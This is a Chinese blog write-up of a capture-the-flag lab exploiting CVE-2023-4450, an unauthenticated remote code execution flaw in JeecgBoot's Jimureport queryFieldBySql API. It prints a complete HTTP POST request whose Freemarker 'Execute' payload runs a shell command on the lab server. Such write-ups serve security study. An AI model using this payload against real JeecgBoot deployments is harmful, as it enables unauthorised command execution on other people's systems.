【春秋云境】CVE-2023-4450 jeect-boot queryFieldBySql接口RCE漏洞

最新推荐文章于 2025-05-20 23:21:48 发布

HMX404

最新推荐文章于 2025-05-20 23:21:48 发布

阅读量1.9k

点赞数 1

CC 4.0 BY-SA版权

分类专栏：靶场WP 文章标签：安全安全漏洞

本文链接：https://blog.csdn.net/HMX404/article/details/137787062

靶场WP 专栏收录该内容

6 篇文章

订阅专栏

本文介绍了JeecgBoot中的Jimureport组件在1.6.1及以下版本存在的RCE漏洞，通过未授权的API和Freemarker解析SQL语句实现远程代码执行。详细展示了漏洞利用过程，包括直接访问URL和发送特定payload获取flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

靶场介绍

JeecgBoot 是一个开源的低代码开发平台，Jimureport 是低代码报表组件之一。当前漏洞在 1.6.1 以下的 Jimureport 组件库中都存在，由于未授权的 API /jmreport/queryFieldBySql 使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生。

开启靶场

在这里插入图片描述

漏洞利用

在搜索POC时，会发现直接访问URL是404
在这里插入图片描述
随机点击一个文档编辑，发现路径是从jmreport开始的


POST /jmreport/queryFieldBySql HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: */*
Accept-Encoding: gzip, deflate, br
Host: eci-2zefpkb9jv5tzsaox5zq.cloudeci1.ichunqiu.com:8080
Content-Type: application/json
Content-Length: 103

{"sql":"select '<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\" cat /flag \") }' "}